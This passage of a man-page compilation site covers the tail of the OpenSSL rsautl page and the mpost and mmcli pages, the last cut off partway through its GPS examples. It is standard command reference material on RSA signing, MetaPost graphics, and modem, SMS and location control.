Specifies the output filename to write to or standard output by default.

-inkey filename|uri
The input key, by default it should be an RSA private key.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-pubin
By default a private key is read from the key input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

-certin
The input is a certificate containing an RSA public key.

-sign
Sign the input data and output the signed result. This requires an RSA private key.

-verify
Verify the input data and output the recovered data.

-encrypt
Encrypt the input data using an RSA public key.

-decrypt
Decrypt the input data using an RSA private key.

-pkcs, -oaep, -x931, -raw
The padding to use: PKCS#1 v1.5 (the default), PKCS#1 OAEP, ANSI X9.31, or no padding, respectively. For signatures, only -pkcs and -raw can be used. Note: because of protection against Bleichenbacher attacks, decryption using PKCS#1 v1.5 mode will not return errors in case padding check failed. Use -raw and inspect the returned value manually to check if the padding is correct.

-hexdump
Hex dump the output data.

-asn1parse
Parse the ASN.1 output data, this is useful when combined with the -verify option.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

NOTES

Since this command uses the RSA algorithm directly, it can only be used to sign or verify small pieces of data.

EXAMPLES

Examples equivalent to these can be found in the documentation for the non-deprecated openssl-pkeyutl (1) command.

Sign some data using a private key:

openssl rsautl -sign -in file -inkey key.pem -out sig

Recover the signed data

openssl rsautl -verify -in sig -inkey key.pem

Examine the raw signed data:

openssl rsautl -verify -in sig -inkey key.pem -raw -hexdump 0000 - 00 01 ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0010 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0020 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0030 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0040 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0050 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0060 - ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ……………. 0070 - ff ff ff ff 00 68 65 6c-6c 6f 20 77 6f 72 6c 64 …..hello world

The PKCS#1 block formatting is evident from this. If this was done using encrypt and decrypt the block would have been of type 2 (the second byte) and random padding data visible instead of the 0xff bytes.

It is possible to analyse the signature of certificates using this command in conjunction with openssl-asn1parse (1). Consider the self signed example in certs/pca-cert.pem. Running openssl-asn1parse (1) as follows yields:

openssl asn1parse -in pca-cert.pem 0:d=0 hl=4 l= 742 cons: SEQUENCE 4:d=1 hl=4 l= 591 cons: SEQUENCE 8:d=2 hl=2 l= 3 cons: cont [ 0 ] 10:d=3 hl=2 l= 1 prim: INTEGER :02 13:d=2 hl=2 l= 1 prim: INTEGER :00 16:d=2 hl=2 l= 13 cons: SEQUENCE 18:d=3 hl=2 l= 9 prim: OBJECT :md5WithRSAEncryption 29:d=3 hl=2 l= 0 prim: NULL 31:d=2 hl=2 l= 92 cons: SEQUENCE 33:d=3 hl=2 l= 11 cons: SET 35:d=4 hl=2 l= 9 cons: SEQUENCE 37:d=5 hl=2 l= 3 prim: OBJECT :countryName 42:d=5 hl=2 l= 2 prim: PRINTABLESTRING :AU …. 599:d=1 hl=2 l= 13 cons: SEQUENCE 601:d=2 hl=2 l= 9 prim: OBJECT :md5WithRSAEncryption 612:d=2 hl=2 l= 0 prim: NULL 614:d=1 hl=3 l= 129 prim: BIT STRING

The final BIT STRING contains the actual signature. It can be extracted with:

openssl asn1parse -in pca-cert.pem -out sig -noout -strparse 614

The certificate public key can be extracted with:

openssl x509 -in test/testx509.pem -pubkey -noout >pubkey.pem

The signature can be analysed with:

openssl rsautl -in sig -verify -asn1parse -inkey pubkey.pem -pubin 0:d=0 hl=2 l= 32 cons: SEQUENCE 2:d=1 hl=2 l= 12 cons: SEQUENCE 4:d=2 hl=2 l= 8 prim: OBJECT :md5 14:d=2 hl=2 l= 0 prim: NULL 16:d=1 hl=2 l= 16 prim: OCTET STRING 0000 - f3 46 9e aa 1a 4a 73 c9-37 ea 93 00 48 25 08 b5 .F…Js.7…H%..

This is the parsed version of an ASN1 DigestInfo structure. It can be seen that the digest used was md5. The actual part of the certificate that was signed can be extracted with:

openssl asn1parse -in pca-cert.pem -out tbs -noout -strparse 4

and its digest computed with:

openssl md5 -c tbs MD5(tbs)= f3:46:9e:aa:1a:4a:73:c9:37:ea:93:00:48:25:08:b5

which it can be seen agrees with the recovered value above.

SEE ALSO

openssl (1), openssl-pkeyutl (1), openssl-dgst (1), openssl-rsa (1), openssl-genrsa (1)

HISTORY

This command was deprecated in OpenSSL 3.0.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

703 - Linux cli command mpost

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpost and provides detailed information about the command mpost, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpost.

NAME 🖥️ mpost 🖥️

MetaPost, a system for creating graphics r-mpost, r-pmpost, r-upmpost - restricted MetaPost

SYNOPSIS

mpost [options] [commands]

mpost –dvitomp dvifile[.dvi] [mpxfile[.mpx]]

DESCRIPTION

MetaPost interprets the MetaPost language and produces PostScript (EPS) or Scalable Vector Graphics (SVG) pictures. The MetaPost language is similar to Knuth’s Metafont with additional features for including tex(1) or troff(1) commands and accessing features of PostScript not found in Metafont.

MetaPost is normally used with a set of basic macros, and it will use its executable name as the name of the preload file to use. For example, when called as mpost the mpost.mp file is used, which simply reads plain.mp. When the –ini option is given, preloading does not happen.

The commands given on the command line to the MetaPost program are passed to it as the first input line. (But it is often easier to type extended arguments as the first input line, since UNIX shells tend to gobble up or misinterpret MetaPost’s favorite symbols, like semicolons, unless you quote them.) The normal usage is to say mpost figs to process the file figs.mp. The basename of figs becomes the ``jobname’’, and is used in forming output file names. If no file is named, the jobname becomes mpout. The default extension, .mp, can be overridden by specifying an extension explicitly.

When the –dvitomp option is given, MetaPost acts as DVI-to-MPX converter only. See dvitomp (1) for details.

The pmpost program is a variant with Japanese support, and upmpost has Unicode-enabled Japanese support, analogous to ptex and uptex.

All three variants are also installed with an `r-’ prefix, that is, r-mpost, r-pmpost, r-upmpost, which implicitly specify the –restricted option to make MetaPost safe to run on unknown input; the tex, makempx, and editor commands are disabled.

This manual page is a mere skeleton. For a list of all command line options, run –help.

The main documentation for this version of MetaPost can be found in the User Manual that should have been installed along with the program and is also available from https://tug.org/metapost.

The MetaPost language is similar to Metafont, but the manual assumes no knowledge of Metafont. MetaPost does not have bitmap output commands or Metafont’s online display mechanism.

FILES

plain.mp
The standard preload file.

mfplain.mp
The Metafont-compatible preload file.

$TEXMFMAIN/metapost/base/*.mp
The standard MetaPost macros included in the original distribution.

$TEXMFMAIN/metapost/support/*
Various tables for handling included tex and troff.

$TEXMFMAIN/metapost/support/trfonts.map
Table of corresponding font names for troff and PostScript.

psfonts.map
Table of corresponding font names for tex and PostScript.

$TEXMFMAIN/doc/metapost/*
The MetaPost manual and tutorial source, also including sample figures

SUGGESTED READING

Donald E. Knuth, The Metafont book (Volume C of Computers and Typesetting), Addison-Wesley, 1986, ISBN 0-201-13445-4.
TUGboat (the journal of the TeX Users Group).

SEE ALSO

dvitomp(1), epstopdf(1), mf(1), mptopdf(1), tex(1),
MetaPost home page ⟨URL: https://tug.org/metapost/ ⟩.

AUTHORS

MetaPost was created by John D. Hobby, incorporating algorithms from Metafont by Donald E. Knuth. It was originally implemented on Unix, incorporating system-dependent routines from web2c, while not relying on it except for the actual Web-to-C translator.

Ulrik Vieth adapted MetaPost to take advantage of the advanced path searching features in more recent versions of web2c and worked towards fully integrating MetaPost into the canonical Unix TeX distribution.

The primary author of the current MetaPost was Taco Hoekwater, with assistance from Hans Hagen and many others. It is currently maintained by Luigi Scarso.

BUGS

The MetaPost home page is https://tug.org/metapost.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

704 - Linux cli command mmcli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mmcli and provides detailed information about the command mmcli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mmcli.

NAME 🖥️ mmcli 🖥️

Control and monitor the ModemManager

SYNOPSIS

mmcli [OPTION…]

DESCRIPTION

ModemManager is a DBus-powered Linux daemon which provides a unified high level API for communicating with (mobile broadband) modems. It acts as a standard RIL (Radio Interface Layer) and may be used by different connection managers, like NetworkManager. Thanks to the built-in plugin architecture, ModemManager talks to very different kinds of modems with very different kinds of ports. In addition to the standard AT serial ports, Qualcomm-based QCDM and QMI ports are also supported.

HELP OPTIONS

-h, –help
Show summary of options by group.

–help-all
Show all groups and options.

–help-manager
Show manager specific options.

–help-common
Show common options. These are used for defining the device an option operates on. For example, modems, bearers, SIMs, SMS’, etc.

–help-modem
Show modem specific options.

–help-3gpp
Show 3GPP specific options.

–help-cdma
Show CDMA specific options.

–help-simple
Show simple options. These are useful for getting connected or disconnected and understanding the state of things as fast as possible without worrying so much about the details.

–help-location
Show location or positioning specific options.

–help-messaging
Show messaging specific options. See also –help-sms which is related.

–help-time
Show time specific options.

–help-firmware
Show firmware specific options.

–help-oma
Show OMA specific options.

–help-sim
Show SIM card specific options.

–help-bearer
Show bearer specific options.

–help-sms
Show SMS specific options. See also –help-messaging which is related.

MANAGER OPTIONS

-B, –get-daemon-version
Retrieve the version of the currently running ModemManager daemon.

-G, –set-logging=[ERR|WARN|INFO|DEBUG]
Set the logging level in ModemManager daemon. For debugging information you can supply DEBUG. Each value above DEBUG provides less detail. In most cases ERR (for displaying errors) are the important messages.

The default mode is ERR.

-L, –list-modems
List available modems.

-M, –monitor-modems
List available modems and monitor modems added or removed.

-S, –scan-modems
Scan for any potential new modems. This is only useful when expecting pure RS232 modems, as they are not notified automatically by the kernel.

-I, –inhibit-device=[UID]
Inhibit the specific device from being used by ModemManager. The UID that should be given is the value of the Device property exposed by a given modem (i.e. equal to the ID_MM_PHYSDEV_UID if one set, or otherwise equal to the full device sysfs path).

This command will not exit right away, as that would implicitly remove the inhibition. The user must make sure to stop the mmcli process hitting Ctrl+C in order to un-inhibit the device.

When a device is inhibited via this method, ModemManager will disable the modem (therefore stopping any ongoing connection) and will no longer use it until it is uninhibited.

–report-kernel-event=[‘KEY1=VALUE1,KEY2=VALUE2,…’]
Manually report kernel events, instead of relying on udev (e.g. if the daemon is running with –no-auto-scan or if the system was built without udev support).

The supported KEYs are:

‘action’
Action to report, one of ‘add’ or ‘remove’. Required.

‘subsystem’
Subsystem of the specific port being reported, e.g. ’tty’ (for serial ports),

’name’
Name of the port being reported, e.g. ’ttyACM0’, ‘wwan0’ or ‘cdc-wdm0’.

‘uid’
The specific UID of the device, equivalent to the ID_MM_PHYSDEV_UID udev tag. All ports reported with the same ‘UID’ value will be considered part of the same device, which may be useful for e.g. modems with multiple platform TTYs.

–report-kernel-event-auto-scan
When built with udev support but the daemon is running with –no-auto-scan, this method may be used to automatically report kernel events based on udev.

This command will not exit right away. The user must make sure to stop the mmcli process hitting Ctrl+C in order to stopping monitoring for new events.

COMMON OPTIONS

All options below take a PATH or INDEX argument. If no action is provided, the default information about the modem, bearer, etc. is shown instead.

The PATH and INDEX are created automatically when the modem is plugged in. They can be found using mmcli -L. This produces something like (for modems only):

Found 1 modems: /org/freedesktop/ModemManager1/Modem/4

In this case, the INDEX is 4 and the PATH is the entire string above.

However, for the bearers, SIMs and SMS cases, the PATH is slightly different. The Modem is replaced with the object name in use, like Bearer. For example:

/org/freedesktop/ModemManager1/Bearer/4

-m, –modem=[PATH|INDEX]
Specify a modem.

-b, –bearer=[PATH|INDEX]
Specify a bearer.

-i, –sim=[PATH|INDEX]
Specify a SIM card.

-s, –sms=[PATH|INDEX]
Specify an SMS.

MODEM OPTIONS

All of the modem options below make use of the –modem or -m switch to specify the modem to act on.

Some operations require a MODE. MODE can be any combination of the modes actually supported by the modem. In the perfect case, the following are possible:

‘2G’ - 2G technologies, e.g. EDGE, CDMA1x ‘3G’ - 3G technologies, e.g. HSPA, EV-DO ‘4G’ - 4G technologies, e.g. LTE ‘ANY’ - for all supported modes.

-w, –monitor-state
Monitor the state of a given modem.

-e, –enable
Enable a given modem.

This powers the antenna, starts the automatic registration process and in general prepares the modem to be connected.

-d, –disable
Disable a given modem.

This disconnects the existing connection(s) for the modem and puts it into a low power mode.

-r, –reset
Resets the modem to the settings it had when it was power cycled.

–factory-reset=CODE
Resets the modem to its original factory default settings.

The CODE provided is vendor specific. Without the correct vendor code, it’s unlikely this operation will succeed. This is not a common user action.

–command=COMMAND
Send an AT COMMAND to the given modem. For example, COMMAND could be ‘AT+GMM’ to probe for phone model information. This operation is only available when ModemManager is run in debug mode.

–create-bearer=[‘KEY1=VALUE1,KEY2=VALUE2,…’]
Create a new packet data bearer for a given modem. The KEYs and some VALUEs are listed below:

‘apn’
Access Point Name. Required in 3GPP.

‘ip-type’
Addressing type. Given as a MMBearerIpFamily value (e.g. ‘ipv4’, ‘ipv6’, ‘ipv4v6’). Optional in 3GPP and CDMA.

‘allowed-auth’
Authentication method to use. Given as a MMBearerAllowedAuth value (e.g. ’none|pap|chap|mschap|mschapv2|eap’). Optional in 3GPP.

‘user’
User name (if any) required by the network. Optional in 3GPP.

‘password’
Password (if any) required by the network. Optional in 3GPP.

‘allow-roaming’
Flag to tell whether connection is allowed during roaming, given as a boolean value (i.e ‘yes’ or ’no’). Optional in 3GPP.

‘rm-protocol’
Protocol of the Rm interface, given as a MMModemCdmaRmProtocol value (e.g. ‘async’, ‘packet-relay’, ‘packet-network-ppp’, ‘packet-network-slip’, ‘stu-iii’). Optional in CDMA.

’number’
Telephone number to dial. Required in POTS.

–delete-bearer=[PATH|INDEX]
Delete bearer from a given modem.

–set-allowed-modes=[MODE1|MODE2|…]
Set allowed modes for a given modem. For possible modes, see the beginning of this section.

–set-preferred-mode=MODE
Set the preferred MODE for the given modem. The MODE MUST be one of the allowed modes as set with the –set-allowed-modes option. Possible MODE arguments are detailed at the beginning of this section.

–set-current-bands=[BAND1|BAND2|…]
Set bands to be used for a given modem. These are frequency ranges the modem should use. There are quite a number of supported bands and listing them all here would be quite extensive. For details, see the MMModemBand documentation.

An example would be: ’egsm|dcs|pcs|g850’ to select all the GSM frequency bands.

–set-primary-sim-slot=[SLOT]
Request to switch the primary SIM slot.

The given SLOT must be a valid slot number in the [1,N] range, where N is the amount of SIM slots available in the system.

–inhibit
Inhibit the specific modem from being used by ModemManager. This method is completely equivalent to –inhibit-device, with the only difference being that in this case, the modem must be managed by the daemon at the time the inhibition is requested.

This command will not exit right away, as that would implicitly remove the inhibition. The user must make sure to stop the mmcli process hitting Ctrl+C in order to un-inhibit the device.

When a device is inhibited via this method, ModemManager will disable the modem (therefore stopping any ongoing connection) and will no longer use it until it is uninhibited.

3GPP OPTIONS

The 3rd Generation Partnership Project (3GPP) is a collaboration between groups of telecommunications associations. These options pertain to devices which support 3GPP.

Included are options to control USSD (Unstructured Supplementary Service Data) sessions.

All of the 3GPP options below make use of the –modem or -m switch to specify the modem to act on.

–3gpp-scan
Scan for available 3GPP networks.

–3gpp-register-home
Request a given modem to register in its home network.

This registers with the default network(s) specified by the modem,

–3gpp-register-in-operator=MCCMNC
Request a given modem to register on the network of the given MCCMNC (Mobile Country Code, Mobile Network Code) based operator. This code is used for GSM/LTE, CDMA, iDEN, TETRA and UMTS public land mobile networks and some satellite mobile networks. The ITU-T Recommendation E.212 defines mobile country codes.

–3gpp-ussd-status
Request the status of ANY ongoing USSD session.

–3gpp-ussd-initiate=COMMAND
Request the given modem to initiate a USSD session with COMMAND.

For example, COMMAND could be ‘*101#’ to give your current pre-pay balance.

–3gpp-ussd-respond=RESPONSE
When initiating an USSD session, a RESPONSE may be needed by a network-originated request. This option allows for that.

–3gpp-ussd-cancel
Cancel an ongoing USSD session for a given modem.

–3gpp-disable-facility-lock=FACILITY,CONTROL_KEY
Disable selected facility lock using provided control key.

‘FACILITY’
One of the following types of lock:

’net-pers’ - network personalization ’net-sub-pers’ - network subset personalization ‘provider-pers’ - provider personalization ‘corp-pers’ - corporate personalization

‘CONTROL_KEY’
Alphanumeric code to unlock facility.

CDMA OPTIONS

All CDMA (Code Division Multiple Access) options require the –modem or -m option.

–cdma-activate=CARRIER
Activate the given modem using OTA (Over the Air) settings. The CARRIER is a code provided by the network for the default settings they provide.

SIMPLE OPTIONS

All simple options must be used with –modem or -m.

–simple-connect=[‘KEY1=VALUE1,KEY2=VALUE2,…’]
Run a full connection sequence using KEY / VALUE pairs. You can use the –create-bearer options, plus any of the following ones:

‘pin’
SIM-PIN unlock code.

‘operator-id’
ETSI MCC-MNC of a network to force registration.

–simple-disconnect
Disconnect ALL connected bearers for a given modem.

LOCATION OPTIONS

These options detail how to discover your location using Global Positioning System (GPS) or directly from your mobile network infrastructure (either 3GPP or 3GPP2).

All location options must be used with –modem or -m.

–location-status
Show the current status for discovering our location.

–location-get
Show all location information available.

–location-enable-3gpp
Enable location discovery using the 3GPP network.

–location-disable-3gpp
Disable location discovery using the 3GPP network.

–location-enable-agps-msa
Enable A-GPS (MSA) support. This command does not implicitly start the GPS engine, it just specifies that A-GPS should be enabled when the engine is started. Therefore, the user should request enabling A-GPS before the raw or NMEA outputs are enabled with –location-enable-gps-raw or –location-enable-gps-nmea.

–location-disable-agps-msa
Disable A-GPS (MSA) support.

–location-enable-agps-msb
Enable A-GPS (MSB) support. This command does not implicitly start the GPS engine, it just specifies that A-GPS should be enabled when the engine is started. Therefore, the user should request enabling A-GPS before the raw or NMEA outputs are enabled with –location-enable-gps-raw or –location-enable-gps-nmea.

–location-disable-agps-msb
Disable A-GPS (MSB) support.

–location-enable-gps-nmea
Enable location discovery using GPS and reported with NMEA traces.

This command will start the GPS engine, if it isn’t started already.

–location-disable-gps-nmea
Disable location discovery using GPS and NMEA traces.

If the raw output is not enabled at the same time, the GPS engine will be stopped.

–location-enable-gps-raw
Enable location discovery using GPS and reported with raw (i.e. longitude/latitude) values.

This command will start the GPS engine, if it isn’t started already.

–location-disable-gps-raw
Disable location discovery using GPS and raw values.

If the NMEA output is not enabled at the same time, the GPS engine will be stopped.

–location-enable-cdma-bs
Enable location discovery using the 3GPP2 network.

–location-disable-cdma-bs
Disable location discovery using the 3GPP2 network.

–location-enable-gps-unmanaged
Enable location discovery using GPS but without taking control of the NMEA tty port. This allows other programs, e.g. gpsd, to use the NMEA tty once the GPS engine has been enabled.

–location-disable-gps-unmanaged
Disable location discovery using GPS and unmanaged port.

–location-set-gps-refresh-rate=SEC
Set the location refresh rate on the DBus interface to SEC seconds. If set to 0, the new location is published on the DBus interface as soon as ModemManager detects it.

–location-set-supl-server=[IP:PORT] or –location-set-supl-server=[FQDN:PORT]
Configure the location of the A-GPS SUPL server, either specifying the IP address (IP:PORT) or specifyng a fully qualified domain name ([FQDN:PORT]).

–location-inject-assistance-data=[PATH]
Inject assistance data into the GNSS module, loaded from a local file at PATH. The assistance data should be in a format expected by the device, e.g. downloaded from the URLs exposed by the ‘AssistanceDataServers’ property.

–location-set-enable-signal
Enable reporting location updates via DBus property signals. This is required if applications rely on listening to ‘Location’ property updates, instead of explicit queries with the policy-protected ‘GetLocation’ method.

This DBus property signal updates are by default disabled.

–location-set-disable-signal
Disable reporting location updates via DBus property signals.

MESSAGING OPTIONS

All messaging options must be used with –modem or -m.

–messaging-status
Show the status of the messaging support.

–messaging-list-sms
List SMS messages available on a given modem.

–messaging-create-sms=[‘KEY1=VALUE1,…’]
Create a new SMS on a given modem. KEYs can be any of the following:

’number’
Number to which the message is addressed.

’text’
Message text, in UTF-8. When sending, if the text is larger than the limit of the technology or modem, the message will be broken into multiple parts or messages. Note that text and data are never given at the same time.

‘smsc’
Indicates the SMS service center number.

‘validity’
Specifies when the SMS expires in the SMSC.

‘class’
3GPP message class (0..3).

‘delivery-report-request’
Specifies whether delivery report is requested when sending the SMS (‘yes’ or ’no’)

‘storage’
Specifies the storage where this message is kept. Storages may be ‘sm’, ‘me’, ‘mt’, ‘sr’, ‘bm’, ’ta’.

–messaging-create-sms-with-data=PATH
Use PATH to a filename as the data to create a new SMS.

–messaging-create-sms-with-text=PATH
Use PATH to a filename as the message to create a new SMS.

–messaging-delete-sms=[PATH|INDEX]
Delete an SMS from a given modem.

TIME OPTIONS

All time operations require the –modem or -m option.

–time
Display the current network time from the operator. This includes the timezone which is usually of importance.

VOICE OPTIONS

All voice operations require the –modem or -m option.

–voice-list-calls
List calls managed (initiated, received, ongoing) on a given modem.

–voice-create-call=[‘KEY1=VALUE1,…’]
Create a new outgoing call on a given modem. KEYs can be any of the following:

’number’
Number to call.

–voice-delete-call=[PATH|INDEX]
Delete a call from a given modem.

FIRMWARE OPTIONS

All firmware options require the –modem or -m option.

–firmware-status
Show firmware update specific details and properties.

–firmware-list
List all the firmware images installed on a given modem.

–firmware-select=ID
Select a firmware image from those installed on a given modem. A list of available firmware images can be seen using the –firmware-list option.

The ID provided is a UNIQUE identifier for the firmware.

SIGNAL OPTIONS

All signal options require the –modem or -m option.

–signal-setup=[Rate]
Setup extended signal quality information retrieval at the specified rate (in seconds).

By default this is disabled (rate set to 0).

–signal-get
Retrieve the last extended signal quality information loaded.

OMA OPTIONS

All OMA options require the –modem or -m option.

–oma-status
Show the status of the OMA device management subsystem.

–oma-start-client-initiated-session=[SESSION TYPE]
Request to start a client initiated session.

The given session type must be one of: ‘client-initiated-device-configure’ ‘client-initiated-prl-update’ ‘client-initiated-hands-free-activation’

–oma-accept-network-initiated-session=[SESSION ID]
Request to accept a network initiated session.

–oma-reject-network-initiated-session=[SESSION ID]
Request to reject a network initiated session.

–oma-cancel-session
Request to cancel current OMA session, if any.

SIM OPTIONS

–pin=PIN
Send PIN code to a given SIM card.

–puk=PUK
Send PUK code to a given SIM card. This must be used WITH –pin.

–enable-pin
Enable PIN request for a given SIM card. This must be used WITH –pin.

–disable-pin
Disable PIN request for a given SIM card. This must be used WITH –pin.

–change-pin=PIN
Change the PIN for a given SIM card. It will be set to PIN. This must be used WITH –pin to supply the old PIN number.

BEARER OPTIONS

All bearer options require the –bearer or -b option.

-c, –connect
Connect to a given bearer.

-x, –disconnect
Disconnect from a given bearer.

SMS OPTIONS

All SMS options require the –sms or -s option.

–send
Send an SMS.

–store
This option will store the SMS in the default storage defined by the modem, which may be either modem-memory or SMS-memory. To know what the existing default storage is, see the –messaging-status option.

–store-in-storage=STORAGE
This option states which STORAGE to use for SMS messages. Possible values for STORAGE include:

‘sm’
SIM card storage area.

‘me’
Mobile equipment storage area.

‘mt’
Sum of SIM and Mobile equipment storages

‘sr’
Status report message storage area.

‘bm’
Broadcast message storage area.

’ta’
Terminal adaptor message storage area.

–create-file-with-data=PATH
This option takes an SMS that has DATA (not TEXT) and will create a local file described by PATH and store the content of the SMS there.

CALL OPTIONS

–start
Initiate an outgoing call.

–accept
Accept an incoming call.

–hangup
Reject an incoming call or hangup an ongoing one.

–send-dtmf=[0-9A-D*#]
Send a DTMF sequence through an ongoing call.

APPLICATION OPTIONS

-J, –output-json
Run action with machine-friendly JSON output, to be used e.g. by shell scripts that rely on mmcli operations.

-K, –output-keyvalue
Run action with machine-friendly key-value output, to be used e.g. by shell scripts that rely on mmcli operations.

-v, –verbose
Perform actions with more details reported and/or logged.

-V, –version
Returns the version of this program.

-a, –async
Use asynchronous methods. This is purely a development tool and has no practical benefit to most user operations.

–timeout=SECONDS
Use SECONDS for the timeout when performing operations with this command. This option is useful when executing long running operations, like –3gpp-scan.

EXAMPLES

Send the PIN to the SIM card

You’ll need first to know which the proper path/index is for the SIM in your modem:

$ mmcli -m 0 -K | grep “modem.generic.sim” | awk -F “: " ‘{ print $2 }’ /org/freedesktop/ModemManager1/SIM/0

And after that, you can just use the SIM index:

$ sudo mmcli -i 0 –pin=1234 successfully sent PIN code to the SIM

Simple connect and disconnect

You can launch the simple connection process like:

$ sudo mmcli -m 0 –simple-connect=“pin=1234,apn=internet” successfully connected the modem

Then, you can disconnect it like:

$ sudo mmcli -m 0 –simple-disconnect successfully disconnected all bearers in the modem

3GPP network scan

Scanning for 3GPP networks may really take a long time, so a specific timeout must be given:

$ sudo mmcli -m 0 –3gpp-scan –timeout=300 ——————— 3GPP scan | networks: 21403 - Orange SP (gprs, unknown) | 21407 - Movistar (gprs, unknown) | 21404 - YOIGO (gprs, unknown) | 21401 - vodafone ES (gprs, unknown)

Creating a new SMS message & storing it

Using the “sm” (SIM), you can do this using:

$ sudo mmcli -m 0 –messaging-create-sms=“text=‘Hello world’,number=’+1234567890’” Successfully created new SMS: /org/freedesktop/ModemManager1/SMS/21 (unknown)

$ sudo mmcli -s 21 –store-in-storage=“sm” successfully stored the SMS

$ sudo mmcli -s 21 ——————————- General | dbus path: /org/freedesktop/ModemManager1/SMS/21 ——————————- Content | number: +1234567890 | text: Hello world ——————————- Properties | PDU type: submit | state: stored | smsc: unknown | validity: 0 | class: 0 | storage: sm | delivery report: not requested | message reference: 0

$ sudo mmcli -m 0 –messaging-status —————————- Messaging | supported storages: sm, me | default storage: me

Sending binary SMS messages from files

As you can see below, the important part is the –messaging-create-sms-with-data and the PATH provided.

$ sudo mmcli -m 0 \ –messaging-create-sms=“number=’+1234567890’” \ –messaging-create-sms-with-data=/path/to/your/file Successfully created new SMS: /org/freedesktop/ModemManager1/SMS/22 (unknown)

$ sudo mmcli -s 22 –send successfully sent the SMS

Listing SMS messages

When the receiver gets all the parts of the message, they can now recover the sent file with another mmcli command in their ModemManager setup:

$> sudo mmcli -m 0 –messaging-list-sms /org/freedesktop/ModemManager1/SMS/0 (received)

$> sudo mmcli -s 0 –create-file-with-data=/path/to/the/output/file

GPS location status

You first need to check whether the modem has GPS-specific location capabilities. Note that we’ll assume the modem is exposed as index 0; if you have more than one modem, just use –list-modems to check the proper modem index:

$ mmcli -m 0 –location-status —————————- Location | capabilities: 3gpp-lac-ci, gps-raw, gps-nmea | enabled: none | signals: no

The output says that the modem supports 3GPP Location area code/Cell ID, GPS raw and GPS-NMEA location sources. None is enabled yet, as we didn’t enable the modem, which we can do issuing:

$ sudo mmcli -m 0 –enable successfully enabled the modem

$ mmcli -m 0 –location-status —————————- Location | capabilities: 3gpp-lac-ci, gps-raw, gps-nmea | enabled: 3gpp-lac-ci | signals: no

GPS location technology enabling

We can start the GPS engine by enabling the RAW or NMEA GPS location sources:

$ sudo mmcli -m 0 \ –location-enable-gps-raw \ –location-enable-gps-nmea successfully setup location gathering

If we do check again the status, we’ll see the GPS-specific locations are enabled:

$ mmcli -m 0 –location-status ——————————– Location | capabilities: 3gpp-lac-ci, gps-raw, gps-nmea | enabled: 3gpp-lac-ci, gps-raw, gps-nmea | signals: no

GPS location retrieval

You can query all location information at the same time with a single command. If any of the specific outputs is not available, the corresponding section will be omitted from the output.

